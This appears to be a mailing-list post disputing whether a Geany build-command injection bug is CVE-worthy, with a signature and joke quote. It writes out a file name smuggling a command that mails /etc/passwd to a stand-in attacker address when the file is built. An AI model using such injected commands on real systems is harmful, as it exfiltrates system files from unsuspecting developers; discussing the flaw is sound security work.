The way to get someone to trigger this is to send a source-file to a developer who then opens it in geany without realizing that the file is named "mail evil@...kdom.com -s teehee < /etc/passwd". The "attacked" developer then need to attempt to build it from geany's internal "build now" button. A simpler misdeed of similar charactaristics would be to ship a bogus ./configure script that people (who are not developers, mind you) blindly run and which executes bogus commands on behalf of the logged in user. Since the latter isn't really CVE-worthy, I doubt the former even comes close. -- Andreas Ericsson andreas.ericsson@....se OP5 AB www.op5.se Tel: +46 8-230225 Fax: +46 8-230231 Considering the successes of the wars on alcohol, poverty, drugs and terror, I think we should give some serious thought to declaring war on peace.
